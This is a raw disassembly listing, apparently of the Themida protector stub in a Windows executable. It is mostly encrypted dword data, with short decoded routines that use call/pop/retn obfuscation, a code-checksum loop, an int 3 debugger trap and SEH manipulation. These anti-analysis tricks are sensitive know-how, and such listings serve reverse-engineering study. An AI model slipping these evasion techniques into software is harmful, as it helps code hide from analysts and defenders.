dd 4247C89h, 4244481h, 18h, 23C35747h, 0BD0E609Fh, 95FF22B7h
dd 7E40E41h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0DDC35343h
dd 8589F9E0h, 7E41815h, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89727EF8h
dd 0E42689B5h, 0FCE18307h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0B9C35040h, 0E12B8DC5h, 50006AFCh, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 4CA6FA1Ch, 81668717h, 0B86BC1CBh, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5D46BF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D46BF proc near ; CODE XREF: Themida_:005D46B7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5D46BF endp
; ---------------------------------------------------------------------------
pop ebp
xor eax, [esi+ecx*2]
mov al, 0E4h
xor [ebp+7E401A5h], eax
sub edx, edx
push 0
push ebx
call sub_5D46E8
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D46E8 proc near ; CODE XREF: Themida_:005D46E0p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5D46E8 endp
; ---------------------------------------------------------------------------
dec ecx
cmp bh, [ebx-48A85B34h]
mov ebx, [ebp+7E40141h]
loc_5D4705: ; CODE XREF: Themida_:005D470Fj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D4705
push 0
push ebx
call sub_5D471C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D471C proc near ; CODE XREF: Themida_:005D4714p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5D471C endp
; ---------------------------------------------------------------------------
dd 0BC3119FEh, 6AF8629Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 22D8C351h, 3FF8133Dh
dd 669BD8Bh, 880D07E4h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 32BFC357h
dd 162904E4h, 8BE97309h, 0E41AA1BDh, 99BD2307h, 8B07E423h
dd 0E41B7195h, 5E907h, 0E0110000h, 8B998D13h, 0E42DA18Dh
dd 8DF38107h, 5008E8F5h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0A8FCD598h, 158B0FA1h, 0E8000000h
dd 0Ch, 3038F183h, 0FB420A7Ch, 40F9C61Dh, 5FFBB70Fh, 2601BD8Bh
dd 0BD8307E4h, 7E40611h, 6A840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 5A61C352h, 0E5B3C6B6h, 0B8h, 55BD8B00h, 8107E416h, 0D22EC5E3h
dd 0E78D8D59h, 0E907E44Fh, 7, 0E7FF7DE7h, 0FF30A050h, 50006AE1h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 23C641ADh, 0E41E199Dh, 0B9BD8307h, 7E422h, 4B8840Fh
dd 0BD290000h, 7E40085h, 4CABD781h, 0BD834E7Ah, 7E422B9h
dd 0BA840F01h, 3000004h, 0E407B59Dh, 0B9BD8307h, 307E422h
dd 471860Fh, 840F0000h, 6, 3071BD8Bh, 6A6007E4h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0E310C356h, 8C66CC12h, 53006AD9h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BE6BDBDh
dd 0E41B1D9Dh, 0FAB70F07h, 6A04E180h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0A6EC357h
dd 9B840FC9h, 0F000001h, 0A8Eh, 5E900h, 92000000h, 8BA8DBAAh
dd 0E4065185h, 49958907h, 3307E423h, 0E4202985h, 0DE907h
dd 52540000h, 0B2F3864Fh, 0F29B2C3Eh, 9057E11Eh, 0FE9h
dd 0BD957A00h, 1850CF4Eh, 0F63F8CFDh, 282F08F8h, 50525050h
dd 0F525052h, 0F585A31h, 5AD88B31h, 60310F58h, 0B0EE6EBFh
dd 0DE8B666Ah, 90585A61h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0E1C35242h, 8166353Fh, 6AE6FEDBh, 0BF0F6000h
dd 10E9CEh, 3A60000h, 9AA26631h, 796646C1h, 9D822777h
dd 68615B58h, 0AB40FACh, 753343BBh, 2434815Bh, 0AAB0C53h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7EC35242h
dd 7E8h, 358FE800h, 9F02D71Bh, 5959D31h, 0E85F07E4h, 7
dd 5B7E73C8h, 0FC613A6Fh, 9995FF5Bh, 6A07E42Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 2A31C355h, 0DEF90C29h, 0D98B17EBh, 12E8h, 0B583CB00h
dd 0E20B6479h, 44413BB4h, 523A76CFh, 2B61E4E5h, 0E404319Dh
dd 0BF665F07h, 8589E9D7h, 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0E5C35747h, 29B31A0Dh, 0B75FBBFBh
dd 0AE97DB9h, 6A000002h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 3436C357h, 25E0F31Ch
dd 3E9B509h, 858B07E4h, 7E7F89Dh, 0EE9h, 0AB0B1B00h, 99D95D05h
dd 0EF5FE744h, 0C7AFA6AFh, 1800h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 298D89FBh
dd 8B07E406h, 0E7F8A1B5h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0D98B3DFFh
dd 99858Bh, 9D2307E4h, 7E4258Dh, 6A0689h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 275166C3h
dd 5484BF0Ch, 6850Fh, 85310000h, 7E40991h, 651858Bh, 0FE8B07E4h
dd 89FAB70Fh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 3758B9C3h, 217F3ED7h, 2369FEB3h
dd 0E404D19Dh, 63BF9607h, 5061E4BDh, 0A830Fh, 850F0000h
dd 4, 7A78BB66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 5D145A4Fh, 3C6A2592h
dd 0F99589BDh, 0FF07E400h, 0E7F89DB5h, 21BD8B07h, 6607E42Dh
dd 688539BBh, 0B27077F6h, 0AE9h, 0D8865200h, 9F5D9B2Dh
dd 8148B13Ah, 8C092404h, 0BD314DAEh, 7E42B61h, 0F8A5858Dh
dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 128E11C3h, 397E6189h, 0F903586h, 388Dh, 0E8525000h
dd 12h, 1072424Bh, 0EDA99ABAh, 0CCCB986Ch, 49C9654h, 0F5B54A1h
dd 14E831h, 36EB0000h, 296570A6h, 9A8C4255h, 6F0FD98Bh
dd 0A3482BEEh, 5A5BB6ADh, 8B905058h, 0E4249DBDh, 9995FF07h
dd 5307E42Dh, 12E9h, 0BD299D00h, 0EF7D573Ah, 1B1CDCDDh
dd 0A522B05Ch, 5FD4106Ch, 0B8ADA7BBh, 6A6109h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 3F0621C3h, 178F5A80h, 28B0F56h, 0B3000000h, 85C75BB6h
dd 7E422B9h, 3, 20E5BD89h, 0BD8307E4h, 7E7F8A5h, 2C840F00h
dd 89000000h, 0E4332DB5h, 3CE907h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 200853C3h
dd 50F97D36h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 9868AEC3h, 7E381D7h, 891971BCh
dd 0E416518Dh, 0B9BD8307h, 307E422h, 516850Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 14460FC3h, 362F96F9h, 816603B2h, 837FD3F7h, 0E7F8A5BDh
dd 840F0007h, 4E0h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 9CC35040h, 3B500863h, 0E1B5893Dh, 0FF07E402h
dd 0E7F8A5B5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 0EC9DEE09h, 0FD8BF0Fh
dd 18Dh, 95FFF800h, 7E4044Dh, 86EB8166h, 0F11BB5Ch, 0B58B2F32h
dd 7E7F899h, 6C7DE8Bh, 10001h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 85C35545h, 66FF56CEh, 0F96FE8Bh
dd 188Ch, 13E900h, 22050000h, 836C528h, 8B96BDADh, 98D1CF35h
dd 45E053F6h, 7E8504Ch, 3E000000h, 0BC1859CCh, 4AB3EEBAh
dd 6A965Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 40C24BC3h, 0FF0A5F1Ch, 0E7F8A5B5h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 11454F67h, 59CAAF63h, 13E8E17Eh, 3000000h, 12A73089h
dd 0F734DFE8h, 310934C9h, 9E7BB38Ch, 0D98B6C5Eh, 0F88B665Fh
dd 2A0995FFh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h
dd 57470000h, 7CEA7CC3h, 8D29B384h, 7E413D1h, 0F899B58Bh
dd 6A07E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 20C3E1C3h, 96112EDBh, 858B17D7h, 7E43165h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6CC35242h
dd 0D8E90424h, 0F0D381B6h, 0E9688B25h, 6, 60AAC9A5h, 868985A3h
dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 38C35747h, 0E06846DBh, 0D552200h, 68A0Fh, 0C3810000h
dd 4BAEBE63h, 2D9B529h, 958B07E4h, 7E41B71h, 0BD92C381h
dd 0C283337Fh, 0E5BD8904h, 8907E41Dh, 6A2050h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 1883C0C3h, 8DAFB4B6h, 0E80CD485h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 994116D1h
dd 8B66CE5Ch, 0B88689FAh, 31000000h, 0E406D1B5h, 6A006A07h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 1C31C357h, 60EE825Eh, 95892947h, 7E4141Dh
dd 0F8A5B5FFh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8589B5C3h, 7E41441h, 31AD95FFh
dd 0BF6607E4h, 6650BAB4h, 89CDCBBBh, 6A2434h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0BBEB42C3h
dd 528FEF3Fh, 2B48ACBBh, 0A5B5FF39h, 6A07E7F8h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0C492C351h, 0EE86090h, 0C9000000h, 95474C76h, 4CF16F78h
dd 0E2F58A48h, 1FBE66EEh, 895059E0h, 0E40219B5h, 0FF615907h
dd 0E41B1195h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 0B1329A3Dh, 25159529h
dd 83F807E4h, 0E40DF9BDh, 840F0007h, 59h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C9C35545h, 2F4A9B64h
dd 0F885D1Ah, 681h, 659D3300h, 9607E41Ch, 2840BB66h, 82B36050h
dd 9E960h, 0ECF50000h, 34A9752h, 50169075h, 5A310F52h
dd 96616158h, 3860Fh, 0C3800000h, 0A5B5FF05h, 6A07E7F8h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 3276C352h, 0D8AC7415h, 0D98BBDA3h, 27D95FFh
dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 8B6685C3h, 0A5B5FFD9h, 6A07E7F8h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 45B7C351h, 0E6D8B949h, 0B925BB99h, 97195FFh, 6A07E4h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 9C0B6EC3h, 0BBF47F6Bh, 1A0BC88h, 0A21BD83h, 0F0207E4h
dd 5084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 8BD98B0Ch, 0E41EB585h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0BD8BD2F6h, 7E412C1h, 2B0000C6h, 0E414BD9Dh, 7185C707h
dd 7E426h, 0BF000000h, 531DD13Dh, 0FFF1B9E9h, 8D9D8BFFh
dd 8B07E412h, 0E423A9BDh, 66C18B07h, 8BE36DBFh, 0E400CD9Dh
dd 85858D07h, 0F07E40Dh, 83h, 90509000h, 31CD8589h, 6A07E4h
dd 237DBD2Bh, 0EE907E4h, 2F000000h, 0A7D505F3h, 0DC642C61h
dd 1A00A8D5h, 8B006AE8h, 0E4332DBDh, 30858D07h, 6A07E930h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 195C352h, 816A37F5h, 0B7049C3h, 5C0837Ah
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D8C35141h
dd 4D9D239Eh, 8907E41Ch, 0E4272D8Dh, 66509007h, 9022B8BBh
dd 168E0Fh, 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h
dd 3844C0Dh, 71EF014Fh, 9E8h, 0BEB36100h, 0E09FA3F2h, 14E94BD1h
dd 0AF000000h, 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h
dd 5FB0370Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 1A639C3h, 5199D8Bh, 6A07E4h, 0FF50D780h
dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 0E979CACFh, 0Fh, 11EF2123h
dd 6ACCE1E5h, 0EBA4F09Dh, 8D14DC55h, 0E7D64B8Dh, 5E907h
dd 782E0000h, 0FFE854DEh, 56006AD1h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0AA6C173Bh
dd 0FFB70F15h, 2015BD83h, 0F0107E4h, 5E85h, 4D950100h
dd 2907E41Dh, 0E4264DBDh, 66026A07h, 0A169C381h, 7E890h
dd 219A0000h, 494357C0h, 0B519BB9Fh, 505F236Ah, 6A90DA8Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 66FEC353h, 0CF555421h, 0AD95FFF1h, 0F07E431h
dd 68Dh, 0A19D8B00h, 0E907E40Fh, 0D82h, 0E8h, 0ED815D00h
dd 7E9303Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 0EAC35747h, 0C99D8B7Dh, 8B07E422h, 0E42ED9BDh
dd 0E1858D07h, 0E907E7C6h, 10h, 0AEC082F0h, 60B7341Fh
dd 64196BF6h, 31A8ECABh, 14E86050h, 0E5000000h, 0C70BA7BFh
dd 1F80EA18h, 0B24BADD6h, 0FCA89146h, 66524B0Dh, 0E858D18Bh
dd 0Ch, 84C168BDh, 9F4E8DE6h, 9B7CAFE5h, 6158B6B2h, 31240489h
dd 0E425899Dh, 35FF6407h, 0
; ---------------------------------------------------------------------------
add [ebp+7E427B1h], edi
mov large fs:0, esp
jmp loc_5D557A
; ---------------------------------------------------------------------------
dw 0CD06h
dd 47105587h, 3AE37819h, 0AD59BB3Dh, 0CCA54284h
db 6Eh, 94h
; ---------------------------------------------------------------------------
loc_5D557A: ; CODE XREF: Themida_:005D5561j
inc dword ptr [ebp+7E420B9h]
push 0
push ecx
call sub_5D558B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D558B proc near ; CODE XREF: Themida_:005D5583p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5D558B endp
; ---------------------------------------------------------------------------
mov edi, 85250FEFh
pop eax
mov bl, 0E7h
add al, 2
mov ebx, eax
loc_5D55A7: ; CODE XREF: Themida_:005D61EAj
push 0FFFFFFFFh
js loc_5D55BB
jnb loc_5D55BB
mov ebx, [ebp+7E4224Dh]
loc_5D55BB: ; CODE XREF: Themida_:005D55A9j
; Themida_:005D55AFj
push dword ptr [ebp+7E42291h]
push 0
push ebx
call sub_5D55CC
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D55CC proc near ; CODE XREF: Themida_:005D55C4p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5D55CC endp
; ---------------------------------------------------------------------------
test eax, 0B7E235E4h
int 3 ; Trap to Debugger
call dword ptr [ebp+7E4304Dh]
jmp loc_5D5706
; ---------------------------------------------------------------------------
db 8Bh, 9Dh, 9
dd 0B007E416h, 4DB58900h, 0F07E415h, 70E6F9BFh, 23899D23h
dd 71E407E4h, 613CD88Bh, 0F4830Fh, 0BD8B0000h, 7E42349h
dd 6830Fh, 9D890000h, 7E407ADh, 60C8B60Fh, 7CD858Bh, 5E907E4h
dd 0CE000000h, 39130CDBh, 6BA61h, 0FE8B0000h, 8589C18Bh
dd 7E4163Dh, 6604E8C1h, 971CDB81h, 2BE2F766h, 9D8957C8h
dd 7E42DF1h, 89D18B5Bh, 0E42B999Dh, 9CE907h, 89510000h
dd 0E412C1B5h, 858B5F07h, 5F4C4C44h, 6D5BD0Bh, 816607E4h
dd 8329E2DFh, 816607C0h, 0BF5460F3h, 79059557h, 6600C083h
dd 208CB81h, 830FD03Bh, 1Bh, 0E9FABF0Fh, 5Eh, 7E8h, 0BC13E100h
dd 938F1667h, 186D9D09h, 8B5F07E4h, 0FFFFFF8Dh, 13E9FFh
dd 0E17A0000h, 1A1279DBh, 955FADE2h, 6ACD3BC0h, 0E3DF2D14h
dd 1E18353h, 24840Fh, 9D890000h, 7E42D89h, 0FFFFA583h
dd 23FEFFFFh, 0E418A99Dh, 44958907h, 8B5F4C4Ch, 0E40345BDh
dd 0E907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D5706: ; CODE XREF: Themida_:005D55E8j
lea esi, [ebp+7E8A95Ah]
push 0
push ebp
call sub_5D5717
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5717 proc near ; CODE XREF: Themida_:005D570Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5D5717 endp
; ---------------------------------------------------------------------------
cmp [eax+42h], edx
push edi
jmp loc_5D5742
; ---------------------------------------------------------------------------
push ss
xchg eax, ebp
inc ecx
push ds
db 36h
push ebx
and [ebx-7C5D66B1h], cl
add dl, [ebx-6858E41Bh]
loc_5D5742: ; CODE XREF: Themida_:005D572Bj
pop ebx
push 0
mov edi, [ebp+7E42DC5h]
call dword ptr [ebp+7E40E41h]
push edi
mov [ebp+7E4185Dh], esi
pop ebx
mov ecx, 0FA5h
push esi
mov ebx, [ebp+7E40D89h]
pop edi
and ecx, 0FFFFFFFCh
cld
push 0
push ebx
call sub_5D5775
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5775 proc near ; CODE XREF: Themida_:005D576Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5D5775 endp
; ---------------------------------------------------------------------------
adc eax, 5798EF80h
mov [ebp+7E42C65h], eax
pop edi
mov eax, 0
push 0
push eax
call sub_5D57A1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D57A1 proc near ; CODE XREF: Themida_:005D5799p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D57A1 endp
; ---------------------------------------------------------------------------
db 0EFh, 21h, 83h
dd 0EE98Bh, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h
dd 8B66D22Bh, 0C233ADF9h, 0D003E8D1h, 7504E983h, 52006AF4h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 341B3413h, 0FF75E063h, 6A76B7h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0A54AE9C3h, 3D291DC4h
dd 880D4168h, 0B3000000h, 71958B5Ah, 8B07E41Bh, 0E42DA18Dh
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 71BDD6AFh, 0F688E060h, 8A530FC3h, 870F5BDAh
dd 3, 5013CB80h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 318D2958h, 6A07E414h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 8A15C355h, 83D1BE30h
dd 0E40611BDh, 840F0007h, 61h, 7DD78166h, 0B877h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 0F3992EC3h, 8D492FCFh, 0E44FE78Dh, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0D0F9B697h, 23F330F5h, 0E41DDDBDh, 8BE1FF07h, 0E42679BDh
dd 0B9BD8307h, 7E422h, 4AB840Fh, 0BD830000h, 7E422B9h
dd 0B9840F01h, 83000004h, 0E422B9BDh, 860F0307h, 476h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D9C35141h
dd 0D59723A0h, 1AB9BD01h, 8D0F07E4h, 16h, 0AE8h, 49069300h
dd 0F7E0D5E4h, 0FF7FD25h, 87h, 6A605B00h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0ACC6C353h
dd 54464F12h, 662B1750h, 5578DF81h, 6AD98C66h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0EE3EC357h, 55BF66C4h, 4E18007h, 8E8h, 0B0F9D600h, 12F6C979h
dd 0C98D31C1h, 5F07E40Dh, 840FC90Ah, 1E0h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CFC35545h, 9382B582h
dd 77FC6A65h, 128D0Fh, 0E9600000h, 5, 740B0635h, 890F0Ah
dd 61000000h, 651858Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0D3EA1DC3h, 8B22B3A5h
dd 0E4025DBDh, 29853307h, 6A07E420h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BBFCC355h
dd 2F8EC20Eh, 0C143BB90h, 50506120h, 0F525051h, 5F585A31h
dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 947720C3h, 4C7DE24Ah, 815CBF14h, 0F9644DDFh
dd 6A006A63h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 2F1C350h, 0DE9A5A9h, 0D1000000h
dd 2E05A293h, 0A109449Bh, 98B052E7h, 4E8h, 1F03FF00h, 0D88B6600h
dd 0EE950h, 75E30000h, 45B81A70h, 10C97BD4h, 58353A2Bh
dd 424448Bh, 6569BB66h, 5F53008Bh, 4244489h, 0E8DF8B60h
dd 11h, 82A2BEE3h, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 12E909h
dd 972F0000h, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh
dd 6A586158h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 9553C357h, 4834821Ch, 76BBB462h
dd 1F59D89h, 95FF07E4h, 7E42D99h, 1FFD8D09h, 8E0F07E4h
dd 1, 0A58589F5h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 3AD8C352h, 7A235A4h
dd 99D9D29h, 816007E4h, 0E071BED0h, 72E96165h, 57000001h
dd 5BD98B66h, 0F89D858Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 8B80E7C3h, 0E415BD9Dh
dd 1800C707h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 670EC350h, 31EC7788h
dd 0E41B899Dh, 0A1B58B07h, 8B07E7F8h, 1991BFFBh, 858B514Eh
dd 7E40099h, 1A8D0FF5h, 0E8000000h, 0Eh, 32CEE992h, 0FA121DDh
dd 803EBE47h, 8501B723h, 7E40085h, 6A06895Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 1FC1C355h, 832AD321h, 858B074Ah, 7E40651h, 89FABF0Fh
dd 50960446h, 0BB665651h, 5B5FD1DFh, 5E996h, 26D90000h
dd 0FF339C73h, 0E7F89DB5h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 400CDABEh
dd 0A2445E86h, 0BE95400h, 3F000000h, 0F8748110h, 7C8FB9E6h
dd 286887FBh, 0BF109D65h, 5F4A2D15h, 0D7243481h, 0F108266h
dd 589h, 3AA4BF00h, 858D7A48h, 7E7F8A5h, 50F88B90h, 6A90D98Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 21CAC353h, 95FF3310h, 7E42D99h, 10E9h, 9D926500h
dd 6290A168h, 1DE411ECh, 20060809h, 9D8B6184h, 7E431E9h
dd 22B985C7h, 307E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0B92CC4C3h, 4391C9BFh
dd 83E6B346h, 0E7F8A5BDh, 840F0007h, 36h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h, 0FB94F673h
dd 0BC477DBFh, 0D9BD8B5Bh, 0E907E41Dh, 21h, 1A6DB589h
dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 0FF88BC0h, 1782h, 11890F00h, 0E9000000h
dd 0Ch, 424D3A13h, 0EFCE7C54h, 10EA88A4h, 9E9h, 0F128DE00h
dd 9B408D7h, 0BD83FDB1h, 7E422B9h, 0B3850F03h, 6A000003h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0A26AC356h, 0CB1D1EB6h, 8B53CE13h, 0BD835BDFh
dd 7E7F8A5h, 7F840F00h, 6A000003h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8C5BC351h
dd 0F3D29A5Dh, 14E97DDEh, 1B000000h, 0DCF92AE1h, 939133D8h
dd 27789D62h, 8D7B58BDh, 0FF1AFB11h, 0E7F8A5B5h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0A4411B4Fh, 8B66D4EAh, 4D95FFDAh, 8B07E404h, 0E7F899B5h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 61755AE6h, 3B13E632h, 85314996h, 7E41F49h
dd 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0A7BD84C3h, 0BB661819h, 669615C7h
dd 50C2D8BFh, 0D6EF8196h, 666B35A5h, 5317DF81h, 0F8A5B5FFh
dd 816607E7h, 0FF364ADBh, 0E42A0995h, 8BF98B07h, 0E7F899B5h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0E16F68EBh, 0BC2E8C36h, 3771BF66h, 3165858Bh
